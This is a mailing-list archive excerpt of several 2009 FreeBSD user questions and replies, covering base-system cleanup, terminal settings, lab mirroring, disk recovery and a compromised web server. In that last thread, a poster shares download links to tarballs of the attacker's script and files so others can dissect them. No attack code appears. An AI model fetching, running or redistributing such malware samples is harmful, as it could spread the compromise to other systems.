bh=LgtECowNGr6yHPYke+gfFpErHr0RGSkbuAM5DNxKF3I=; b=gIFMc5JzfEnQrEUheHdaHaDKkrmYegry0/axzz/6VFhd5lA0I+1II8TE6WZeZcquNX kG4bmD+zfpIWMaqfvW+U+WQ2RdEcA+xUA+TtZ6+wvuPHUBnweM+/wpA0+heiQ8d3tnWo SIjFFls076IT+UsInzTAybN7SavuUUk/VbE8A= DomainKey-Signature: a=rsa-sha1; c=nofws; d=googlemail.com; s=gamma; h=mime-version:date:message-id:subject:from:to:cc:content-type :content-transfer-encoding; b=tNbxQydVrsdh5UgL6LUgpW5kMBH1SnRJ1Q2LGkF+MWdahPlktyl6r6YjNA9evHcu72 qGg53iD8C+t+cbaLYtj4MlG4xW/wxSacKh5OaSr3aGc+0Z0xKwaioeOjCoGVJ0QIIH2z dr4PLmqi+EjnQabIz0aQ2PRoCoZIzR0Mx2qRg= MIME-Version: 1.0 Received: by 10.239.130.160 with SMTP id 32mr681517hbj.58.1251249398149; Tue, 25 Aug 2009 18:16:38 -0700 (PDT) Date: Wed, 26 Aug 2009 01:16:38 +0000 Message-ID: From: "b. f." To: freebsd-questions@FreeBSD.org Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Cc: Subject: Re: src.conf and cleaning up of base? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Aug 2009 01:16:40 -0000 >I enabled a few WITHOUT_ options in src.conf. However, the >binaries for that still exists after a installworld. Is there an >automatic way to "clean up" the base install? Yes and no. These files are supposed to be removed by running: make delete-old make delete-old-libs (see /usr/src/UPDATING). However, some of the less-commonly used knobs from src.conf do not receive routine testing, and are broken: either they break the build, or they leave files behind. There are PRs for some of these problems, and others remain to be fixed. The best solution for now is to run the commands above, and then do a separate cleaning of the base system, using the timestamps as a guide. Here find(1) is your friend. I usually use something like: find /bin /sbin /lib /libexec /rescue /usr/bin /usr/sbin /usr/include /usr/lib /usr/lib32 \ /usr/libdata /usr/libexec /usr/share ! -ctime 1 soon after the installation, and then inspect the output before deleting. Be careful when cleaning, and don't forget that there are a few commonly-installed ports, like perl, that leave important files in base system directories. b. From owner-freebsd-questions@FreeBSD.ORG Wed Aug 26 01:30:19 2009 Return-Path: Delivered-To: freebsd-questions@FreeBSD.ORG Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id D5DD9106564A for ; Wed, 26 Aug 2009 01:30:19 +0000 (UTC) (envelope-from kline@thought.org) Received: from aristotle.thought.org (aristotle.thought.org [209.180.213.210]) by mx1.freebsd.org (Postfix) with ESMTP id 992458FC1A for ; Wed, 26 Aug 2009 01:30:19 +0000 (UTC) Received: from thought.org (tao.thought.org [10.47.0.250]) (authenticated bits=0) by aristotle.thought.org (8.14.2/8.14.2) with ESMTP id n7Q1Tv25014358 for ; Tue, 25 Aug 2009 18:29:57 -0700 (PDT) (envelope-from kline@thought.org) Received: by thought.org (nbSMTP-1.00) for uid 1002 kline@thought.org; Tue, 25 Aug 2009 18:30:14 -0700 (PDT) Date: Tue, 25 Aug 2009 18:30:14 -0700 From: Gary Kline To: FreeBSD Mailing List Message-ID: <20090826013012.GA50679@thought.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.2.3i X-Organization: Thought Unlimited. Public service Unix since 1986. X-Of_Interest: With 23 years of service to the Unix community. X-Spam-Status: No, score=-4.4 required=3.6 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.2.3 X-Spam-Checker-Version: SpamAssassin 3.2.3 (2007-08-08) on aristotle.thought.org Cc: Subject: howto alias a stty erase? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Aug 2009 01:30:19 -0000 is there a way of setty'ing "stty erase" to [backspace key"? pretty sure that is the delete key. i'm tired of having to hand set it every time when i use the Konsole term. thanks, gary -- Gary Kline kline@thought.org http://www.thought.org Public Service Unix http://jottings.thought.org http://transfinite.thought.org The 5.67a release of Jottings: http://jottings.thought.org/index.php From owner-freebsd-questions@FreeBSD.ORG Wed Aug 26 01:54:23 2009 Return-Path: Delivered-To: freebsd-questions@FreeBSD.ORG Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 7CF9F106568C for ; Wed, 26 Aug 2009 01:54:23 +0000 (UTC) (envelope-from archon@silvertree.org) Received: from arthur.silvertree.org (arthur.silvertree.org [173.11.101.153]) by mx1.freebsd.org (Postfix) with SMTP id 563298FC14 for ; Wed, 26 Aug 2009 01:54:20 +0000 (UTC) Received: (qmail 20888 invoked from network); 25 Aug 2009 18:54:16 -0700 Received: from tintagel.silvertree.org (HELO merlin.wifi.wlan.silvertree.org) (173.11.101.157) by arthur.silvertree.org with SMTP; 25 Aug 2009 18:54:16 -0700 Message-Id: <6346E576-0494-41E1-A942-57F0484E0B9E@silvertree.org> From: Scott Schappell To: FreeBSD Mailing List In-Reply-To: <20090826013012.GA50679@thought.org> Content-Type: text/plain; charset=US-ASCII; format=flowed; delsp=yes Content-Transfer-Encoding: 7bit Mime-Version: 1.0 (Apple Message framework v936) Date: Tue, 25 Aug 2009 18:54:16 -0700 References: <20090826013012.GA50679@thought.org> X-Mailer: Apple Mail (2.936) Cc: Subject: Re: howto alias a stty erase? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Aug 2009 01:54:23 -0000 If you use sh or bash, you can add to .profile or .bash_profile: stty erase ^h That should do it. Type the caret (^) and (h). On Aug 25, 2009, at 6:30 PM, Gary Kline wrote: > > is there a way of setty'ing "stty erase" to [backspace key"? > pretty sure that is the delete key. i'm tired of having to hand > set it every time when i use the Konsole term. > > thanks, > > gary > > > > -- > Gary Kline kline@thought.org http://www.thought.org Public > Service Unix > http://jottings.thought.org http://transfinite.thought.org > The 5.67a release of Jottings: http://jottings.thought.org/ > index.php > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org > " From owner-freebsd-questions@FreeBSD.ORG Wed Aug 26 02:37:08 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 9541B106568B for ; Wed, 26 Aug 2009 02:37:08 +0000 (UTC) (envelope-from dhutty@allgoodbits.org) Received: from smtp.allgoodbits.com (allgoodbits.com [97.107.132.102]) by mx1.freebsd.org (Postfix) with ESMTP id 4EAA48FC2B for ; Wed, 26 Aug 2009 02:37:08 +0000 (UTC) Received: from mail.allgoodbits.org (pool-72-95-226-80.pitbpa.ftas.verizon.net [72.95.226.80]) by smtp.allgoodbits.com (Postfix) with ESMTP id 610024E803 for ; Tue, 25 Aug 2009 22:20:10 -0400 (EDT) Received: from localhost (mail.allgoodbits.org [127.0.0.1]) by mail.allgoodbits.org (Postfix) with ESMTP id EFD6ABA433 for ; Tue, 25 Aug 2009 22:20:09 -0400 (EDT) X-Virus-Scanned: amavisd-new at allgoodbits.org Received: from mail.allgoodbits.org ([127.0.0.1]) by localhost (mail.allgoodbits.org [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id mv5qKxTx-Bra for ; Tue, 25 Aug 2009 22:20:09 -0400 (EDT) Received: from [192.168.0.200] (odysseus [192.168.0.200]) by mail.allgoodbits.org (Postfix) with ESMTPA id 34A15BA3F3 for ; Tue, 25 Aug 2009 22:20:09 -0400 (EDT) Message-ID: <4A949BD9.9010305@allgoodbits.org> Date: Tue, 25 Aug 2009 22:20:09 -0400 From: Duncan Hutty User-Agent: Thunderbird 2.0.0.22 (Macintosh/20090605) MIME-Version: 1.0 To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Subject: Trying to make a mirror for a disconnected lab X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Aug 2009 02:37:08 -0000 I'm planning to build a "lab" of perhaps 15 freebsd machines. Not only do I want to be a good sysadmin and only download what I need, but another issue is that these machines will live on a network that will not have a reliable connection to the internet. Therefore I want to build a mirror of parts of ftp.freebsd.org so that the lead machine (for each of 2 architectures) can build packages for the other machines to install. I think that if I mirror: ports/distfiles releases//-RELEASE then I think I will be able to install FreeBSD on each machine and build packages of anything from ports that I want to install on all the machines. And then for each individual machine set PKG_PATH to be the nfs served location from the main server. Therefore to make my mirror, I have a rsync filter file that looks something like this: + /ports/ + /ports/distfiles/ + /ports/distfiles/* + /releases/ + /releases/i386/ + /releases/i386/7.2-RELEASE/ + /releases/i386/7.2-RELEASE/* + /releases/i386/7.2-RELEASE/base/ + /releases/i386/7.2-RELEASE/base/* etc. - * Hopefully, someone can give me confidence that this is a reasonable plan? Or am I going about this wrongheadedly? I have a question: Q. ports/distfiles contains tarballs of multiple versions of each software; I assume that I only need one version of each tarball. And since this mirror as described comes to ~100GiB, how can I modify my rsync filter so I don't get anything more than either the latest tarball for each software package in distfiles or whichever version accords to the Makefiles provided by ports.tgz Hopefully some of this detail will be of help to someone else in a similar position. -- Duncan Hutty From owner-freebsd-questions@FreeBSD.ORG Wed Aug 26 04:08:49 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 64231106568D for ; Wed, 26 Aug 2009 04:08:49 +0000 (UTC) (envelope-from gupta.sandeep@gmail.com) Received: from mail-vw0-f189.google.com (mail-vw0-f189.google.com [209.85.212.189]) by mx1.freebsd.org (Postfix) with ESMTP id 1EF958FC1C for ; Wed, 26 Aug 2009 04:08:48 +0000 (UTC) Received: by vws27 with SMTP id 27so3277833vws.3 for ; Tue, 25 Aug 2009 21:08:48 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:date:message-id:subject :from:to:content-type; bh=715pRUpWdohSX2ySdzVkNadcqBCV0AfspT5rKTpUjb4=; b=GMZHC7x2GDdmaDCy1cHcxByFLQIcldIb4L56IPdGMUpu2EZmyCjD36ayvRZi+Cu7RV xY8djBOh2ygIQFMZUvApJBNN97SLkDdC93W02RL8dtMw30RrVBBrXBUuVtUQVFDtrDgL Q10dUsIY+h8vOEsj7wuxcEzqYTFbXGtmXCMoc= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:date:message-id:subject:from:to:content-type; b=XlnrPQ9/eBt2HiDbyzLx73avHxyHpuNC3f39BkJ9XWAFDemjp/XNWYAVq7nIg8sfPe GbgLVY7eJoe5Pz2hNsiineX20B2G6ldVsMqMMi469mtCm096/rzxkAImw1rOF5dwbCz+ 5vcdS9YX7F0cij8zTJpMuh7nZF5pPxXvfu9xQ= MIME-Version: 1.0 Received: by 10.220.70.34 with SMTP id b34mr9434637vcj.58.1251258384393; Tue, 25 Aug 2009 20:46:24 -0700 (PDT) Date: Tue, 25 Aug 2009 20:46:24 -0700 Message-ID: <98a412be0908252046g4b2dff14kf40b667ae29369b8@mail.gmail.com> From: Sandeep Gupta To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Content-Filtered-By: Mailman/MimeDel 2.1.5 Subject: nxclient connection failure X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Aug 2009 04:08:49 -0000 Hi all, Not sure if this is the correct forum. If so, kindly point to appropriate mailing list. Connecting from nxclient on freeBSD to nxserver on RHEL fails with following errors: Info: Proxy running in client mode with pid '1330'. Session: Starting session at 'Tue Aug 25 20:42:56 2009'. Error: Failed to set TCP_NODELAY flag on FD#10 to 1. Error is 22 'Invalid argument'. Warning: Connected to remote NXPROXY version 3.3.0 with local version 2.1.0. Warning: Consider checking http://www.nomachine.com/ for updates. Info: Synchronizing local and remote caches. Info: Handshaking with remote proxy completed. Warning: Failed to set IPTOS_LOWDELAY flag on FD#10. Error is 92 'Protocol not available'. Error: Failed to set TCP_NODELAY flag on FD#10 to 1. Error is 22 'Invalid argument'. Info: Using ADSL link parameters 512/24/1/0. Info: Using cache parameters 4/4194304/8192KB/8192KB. Info: Using image streaming parameters 50/128/1024KB/2048/256. Info: Using image cache parameters 1/1/32768KB. Info: Using pack method '16m-jpeg-7' with session 'unix-gnome'. Info: Using product 'LFE/None/LFEN/None'. Info: Using ZLIB data compression 1/1/0. Info: Using ZLIB stream compression 4/4. Info: No suitable cache file found. Info: Listening for font server connections on port '11014'. Session: Session started at 'Tue Aug 25 20:42:56 2009'. Error: Failed to set TCP_NODELAY flag on FD#15 to 1. Error is 22 'Invalid argument'. Session: Terminating session at 'Tue Aug 25 20:42:56 2009'. Info: End of NX transport requested by signal '15'. Warning: Parent process appears to be dead. Exiting keeper. Any help would be appreciated. Thanks sandeep From owner-freebsd-questions@FreeBSD.ORG Wed Aug 26 05:46:51 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 9DEF0106568D for ; Wed, 26 Aug 2009 05:46:51 +0000 (UTC) (envelope-from kellymartin@gmail.com) Received: from qw-out-2122.google.com (qw-out-2122.google.com [74.125.92.26]) by mx1.freebsd.org (Postfix) with ESMTP id 4DACA8FC1C for ; Wed, 26 Aug 2009 05:46:51 +0000 (UTC) Received: by qw-out-2122.google.com with SMTP id 3so1845801qwe.7 for ; Tue, 25 Aug 2009 22:46:50 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:cc:content-type :content-transfer-encoding; bh=SENFbp3DXILF5vUD0CPVCute6C3KPces5x0dw2m6aK4=; b=FXsCcc0R3XX6pGiVuyn52qomCPwJt9foRT6f6/nWpvTOoYZmpXrQDyLDDXtQ6kArha WqTllmUPj5KAtZrZmNASLAxhjyaR14iN+NNTWuRLZq5wK9FHE0PN8S5IdFXRKqVEPKBt S6envWeOw1oWyZ8uV0dypEMZ8NzRYKwNx+XAU= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type:content-transfer-encoding; b=NT4j4tb78kamkVta+O/2oMxVlhJXKAi3GIZxFTeIYYdFZyz5nz69Ar7chRFxsohwY2 nlLYMLvAHNOipggcD9lEABJZ7SH2H0j54Zi9R00Ud/gQfftiW0G2TC0VdHIE2WYkdufG mHjwPX18+S8omOd3XyjORkfcamAdSF32lxpf8= MIME-Version: 1.0 Received: by 10.224.88.166 with SMTP id a38mr2497035qam.29.1251265610382; Tue, 25 Aug 2009 22:46:50 -0700 (PDT) In-Reply-To: <20090824223247.GD43410@slackbox.xs4all.nl> References: <1338880b0908241129p75b6845cg26d21804e118364@mail.gmail.com> <20090824223247.GD43410@slackbox.xs4all.nl> Date: Tue, 25 Aug 2009 23:46:50 -0600 Message-ID: <1338880b0908252246s21191e83k7c251366b706532@mail.gmail.com> From: Kelly Martin To: FreeBSD Questions Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Cc: Roland Smith Subject: Re: hard disk failure - now what? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Aug 2009 05:46:51 -0000 First, thanks to everyone for the really great replies. Many suggestions were quite helpful and have kept me on track. I'll quote a couple of people and then add some comments below. On Mon, Aug 24, 2009 at 4:32 PM, Roland Smith wrote: > It _could_ just be a bad or improperly connected SATA cable. Try changing or > re-seating the cable. I thought of that too, but no luck. > Read errors cannot damage your data, but write errors can! Immediately stop > all writing to the disk. Re-mount the partitions on that disk as read-only, or > unmount them. That was a consensus among everyone who replied, so I made that step #1. I mounted the partitions read-only and crossed my fingers. Trying to check the integrity of the data, or even get directory listings was another matter, as I got various strange errors... which told me I quite likely had some data loss. > To see if a disk really is broken, install sysutils/smartmontools, and run > 'smartctl -a' on the disk. If you see errors in its report (e.g. reallocated > sectors), the disk is dying and should be unplugged to prevent it from getting > worse. That's a good idea and I'll try to use it in the future. After plugging the drive in and accessing it, I heard those tell-tale signs of hard drive failure: clicks and pops and other unusual noises, so I know that it has some damage. I hate those sounds, having heard them on failing drives too many times before. > >> My question: what kind of checks and/or repair tools should I run on >> the damaged drive after it's mounted? > > As others have mentioned, first make a copy (with the disk unmounted) of the > partitions on that disk with dd, saving them to another drive. That way you > can experiment with the data without further deterioration of the > original. I ran dd and it took over 20 hours to complete. In fact it just finished this evening, after running all day. Lots of FAILURE errors were reported along the way, enough to fill two console screens or more. And of course to complicate things I didn't have a spare drive as an output device that was the *same size*, so I used a smaller drive thinking that it wouldn't matter since the source drive wasn't full anyway. I have no idea if data is scattered around on the FFS filesystem such that cloning a mostly empty, larger drive onto something smaller might lose data... I searched Google and couldn't find the answer, so I proceeded anyway. It doesn't matter now though, as I have a new drive now and another plan. >You can use this disk image e.g. as a vnode-backed memory disk, see > mdconfig(8). If you cannot get a good copy of the disk partitions it might be > a good idea to get a quote from a professional hard drive data recovery > company to do that for you. I've never had occasion to try this (hooray for > backups) but I've heard it can be quite expensive. :-/ I'm going to try dd a second time, but this time I'll use ddrescue as some people suggested and I'll make the target drive an identical-sized 500 Gbyte drive, which I purchased today. I imagine it will take a long time to create this cloned disk... hopefully with fewer errors than dd gave me, though we'll see. > Try using fsck_ffs on (copies of) the disk image to see if that can restore > the damage. If the damage is beyond repair for fsck_ffs, you have a real > problem. Of course is you have a good disk image, your data is still > there, but you might have to use a forensics program like sysutils/sleuthkit > or hexdump to try and piece files together. And even then you cannot be sure > that there is no corrupted data in the files themselves. Good luck with that. :-( Indeed some of the partitions seem to be beyond repair. In particular my /var partition is totally fubar'ed. When using fsck_ffs I got all sorts of errors when trying to repair the partition, things like: BAD SUPER BLOCK: VALUES IN SUPER BLOCK DISAGREE WITH THOSE IN FIRST ALTERNATE So I used the -b option suggested in the man page, "fsck_ffs -y -b 160 /dev/ad0s1d" and it ran and fixed a few things, but then stopped with the following error: fsck_ufs: cannot alloc 4294967292 bytes for inoinfo The worst part of all is that the /var partition would normally be okay to lose if it didn't have my MySQL database on it - the most important data on the server. I just about choked down a golf ball when I discovered my /var partition was in such rough shape and I might be forced to use real recovery tools, or hire a professional for $$$, or be out-of-luck. MySQL databases are normally stored in /var/db/mysql. But then I remembered my MySQL server was actually running in a Jail environment, and therefore it was located at /usr/jails/myjail/var/db/mysql instead of /var/db/mysql, and therefore the jailed MySQL database was on a totally different partition. Lucky! And I was also very lucky that I could mount the large /usr partition in read-only mode and copy off the most critical files I needed, starting with the database. No errors on that part of the disk so far, at least with the few critical files I've copied over. Whew! Until just a few minutes ago I didn't think there'd be a happy ending. But I've got the most critical data copied over now, the rest can wait. I'm going to go run dd a second time (well, ddrescue) now and then start work on the copy once it finishes, in a day or two. One last thing... On Tue, Aug 25, 2009 at 11:45 AM, Polytropon wrote: > > As it has been suggested, there are interesting tools in the > ports collection. I'll post my "famous list" again. Among them, > note ddrescue and dd_rescue. But base system tools such as the > fetch program can help. > > > System: > dd > fsck_ffs > clri > fsdb > fetch -rR > recoverdisk (!) > > Ports: > ddrescue > dd_rescue > ffs2recov > magicrescue > testdisk > The Sleuth Kit: > fls > dls > ils > autopsy > scan_ffs > recoverjpeg > foremost > photorec I just wanted to say: this is a great list. Once the ddrescue copy is complete, I'll start using some of the other tools and see what I can recover. Thanks again to everyone for the help! kelly From owner-freebsd-questions@FreeBSD.ORG Wed Aug 26 07:47:32 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id EBAF3106568B for ; Wed, 26 Aug 2009 07:47:32 +0000 (UTC) (envelope-from guru@unixarea.de) Received: from dd12710.kasserver.com (dd12710.kasserver.com [85.13.134.233]) by mx1.freebsd.org (Postfix) with ESMTP id AE05A8FC0C for ; Wed, 26 Aug 2009 07:47:32 +0000 (UTC) Received: from current.Sisis.de (cazador.sisis.de [193.31.11.193]) by dd12710.kasserver.com (Postfix) with ESMTP id AD7C918293A0D; Wed, 26 Aug 2009 09:47:32 +0200 (CEST) Received: (from guru@localhost) by current.Sisis.de (8.14.3/8.14.3/Submit) id n7Q7lYIH003691; Wed, 26 Aug 2009 09:47:34 +0200 (CEST) (envelope-from guru@unixarea.de) X-Authentication-Warning: current.Sisis.de: guru set sender to guru@unixarea.de using -f Date: Wed, 26 Aug 2009 09:47:34 +0200 From: Matthias Apitz To: freebsd-questions@freebsd.org Message-ID: <20090826074734.GA3656@current.Sisis.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.2.3i X-Operating-System: FreeBSD 8.0-CURRENT (i386) Subject: localization management tool which works in FreeBSD X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Matthias Apitz List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Aug 2009 07:47:33 -0000 Hello, Is ther some localization management tool which runs in FreeBSD and supports - connectors to CVS or SVN (i.e. pulls/stores the source and translated files there) - extracts text pieces for translations from various file formats, like XML, HTML, PO, ASCII, ... presents these extracted strings for translation and writes the target file with the translated strings; - keeps somehow track of already translated text pieces and offers the translation nextime the (modified) source file is opened again; - does some checks, for example if the length of the translated string will fit, some kind of aspell/ispell checks, ... - export/import of extracted strings and its translation to give a way the work of translation to translators; - GUI Thanks in advance matthias -- Matthias Apitz t +49-89-61308 351 - f +49-89-61308 399 - m +49-170-4527211 e - w http://www.unixarea.de/ People who hate Microsoft Windows use Linux but people who love UNIX use FreeBSD. From owner-freebsd-questions@FreeBSD.ORG Wed Aug 26 08:30:15 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 139CB1065690 for ; Wed, 26 Aug 2009 08:30:15 +0000 (UTC) (envelope-from cb@lim.nl) Received: from smtpauth.rollernet.us (smtpauth.rollernet.us [208.79.240.5]) by mx1.freebsd.org (Postfix) with ESMTP id DFE958FC23 for ; Wed, 26 Aug 2009 08:30:14 +0000 (UTC) Received: from smtpauth.rollernet.us (localhost.localdomain [127.0.0.1]) by smtpauth.rollernet.us (Postfix) with ESMTP id 256BE594011; Wed, 26 Aug 2009 01:30:07 -0700 (PDT) Received: from [172.19.3.3] (93-125-163-97.dsl.alice.nl [93.125.163.97]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) (Authenticated sender: cb@lim.nl) by smtpauth.rollernet.us (Postfix) with ESMTP; Wed, 26 Aug 2009 01:30:06 -0700 (PDT) Message-ID: <4A94F3E2.7060306@lim.nl> Date: Wed, 26 Aug 2009 10:35:46 +0200 From: Colin Brace User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.1) Gecko/20090814 Fedora/3.0-2.6.b3.fc11 Thunderbird/3.0b3 MIME-Version: 1.0 To: freebsd-questions@freebsd.org References: <4A924601.3000507@lim.nl> <25132123.post@talk.nabble.com> <20090825082604.41cad357.wmoran@potentialtech.com> <25134277.post@talk.nabble.com> <20090825120504.93a7c51d.wmoran@potentialtech.com> <6201873e0908250921w46000c2by78893a1c5b581e78@mail.gmail.com> <20090825130616.20ab0049.wmoran@potentialtech.com> <6201873e0908251237n5c819d9ag36f867b5e68e258c@mail.gmail.com> <20090825154358.7c792d3a.wmoran@potentialtech.com> <6201873e0908251511q643f3662nc73f264cbfcfe645@mail.gmail.com> <4A9474BE.6020501@ibctech.ca> In-Reply-To: <4A9474BE.6020501@ibctech.ca> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Rollernet-Abuse: Processed by Roller Network Mail Services. Contact abuse@rollernet.us to report violations. Abuse policy: http://rollernet.us/abuse.php X-Rollernet-Submit: Submit ID 7dfc.4a94f28e.c3f1b.0 Cc: Steve Bertrand Subject: Re: what www perl script is running? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Aug 2009 08:30:15 -0000 Steve Bertrand said the following on 08/26/2009 01:33 AM: > In this case, OP, look for: > > - directories named as such: > -- ... > -- . .. > -- . . > -- etc, particularly under: > -- /var/tmp > -- /tmp > -- or anywhere else the [gu]id of the webserver could possibly write to > Thanks for the comments, Steve. This has indeed been the case here: there was a bunch of files installed by user 'www' (the webserver) in a directory called ".," in /tmp ; the script itself was in /tmp Someone has suggested to me that the vulnerability might have been in the RoundCube webmail package which I had installed: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0413 "Cross-site scripting (XSS) vulnerability in RoundCube Webmail (roundcubemail) 0.2 stable allows remote attackers to inject arbitrary web script or HTML via the background attribute embedded in an HTML e-mail message." -- Colin Brace Amsterdam http://www.lim.nl From owner-freebsd-questions@FreeBSD.ORG Wed Aug 26 09:15:02 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 13578106568B for ; Wed, 26 Aug 2009 09:15:02 +0000 (UTC) (envelope-from bounces@nabble.com) Received: from kuber.nabble.com (kuber.nabble.com [216.139.236.158]) by mx1.freebsd.org (Postfix) with ESMTP id DA9618FC1C for ; Wed, 26 Aug 2009 09:15:01 +0000 (UTC) Received: from isper.nabble.com ([192.168.236.156]) by kuber.nabble.com with esmtp (Exim 4.63) (envelope-from ) id 1MgEar-0000sn-DC for freebsd-questions@freebsd.org; Wed, 26 Aug 2009 02:15:01 -0700 Message-ID: <25149271.post@talk.nabble.com> Date: Wed, 26 Aug 2009 02:15:01 -0700 (PDT) From: Colin Brace To: freebsd-questions@freebsd.org In-Reply-To: <25143778.post@talk.nabble.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Nabble-From: cb@lim.nl References: <4A924601.3000507@lim.nl> <200908240807.n7O87o3U092052@banyan.cs.ait.ac.th> <200908241026.55693.j.mckeown@ru.ac.za> <25130058.post@talk.nabble.com> <20090825091937.GA53416@cheddar.urgle.com> <25131646.post@talk.nabble.com> <200908251027.n7PARZBt009994@banyan.cs.ait.ac.th> <25132123.post@talk.nabble.com> <20090825082604.41cad357.wmoran@potentialtech.com> <25134056.post@talk.nabble.com> <20090825134250.GA6871@ei.bzerk.org> <25135959.post@talk.nabble.com> <4A943A9B.1030703@cyberleo.net> <25143778.post@talk.nabble.com> Subject: Re: what www perl script is running? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Aug 2009 09:15:02 -0000 Colin Brace wrote: > > > CyberLeo Kitsana wrote: >> >> Are these files available in a tarball someplace public, for those of us >> who enjoy performing autopsies on virii? > > Sure thing: http://silenceisdefeat.com/~cbrace/www_badstuff.gz > > this tarball contains "tmpfile" which is the misbehaving script as well as > the contents of a directory called ".," which has a bunch of source code > and so on. As indicated earlier, this stuff was installed by user 'www'. > > It should be unpacked in an empty directory. Oops, I missed six more files written by www to /tmp. Here they are: http://silenceisdefeat.com/~cbrace/www_badstuff-2.gz ----- Colin Brace Amsterdam http://lim.nl -- View this message in context: http://www.nabble.com/what-www-perl-script-is-running--tp25112050p25149271.html Sent from the freebsd-questions mailing list archive at Nabble.com. From owner-freebsd-questions@FreeBSD.ORG Wed Aug 26 09:38:38 2009 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 4708B106568D for ; Wed, 26 Aug 2009 09:38:38 +0000 (UTC) (envelope-from bounces@nabble.com) Received: from kuber.nabble.com (kuber.nabble.com [216.139.236.158]) by mx1.freebsd.org (Postfix) with ESMTP id 19E918FC29 for ; Wed, 26 Aug 2009 09:38:37 +0000 (UTC) Received: from isper.nabble.com ([192.168.236.156]) by kuber.nabble.com with esmtp (Exim 4.63) (envelope-from ) id 1MgExh-0001eX-Fy for freebsd-questions@freebsd.org; Wed, 26 Aug 2009 02:38:37 -0700 Message-ID: 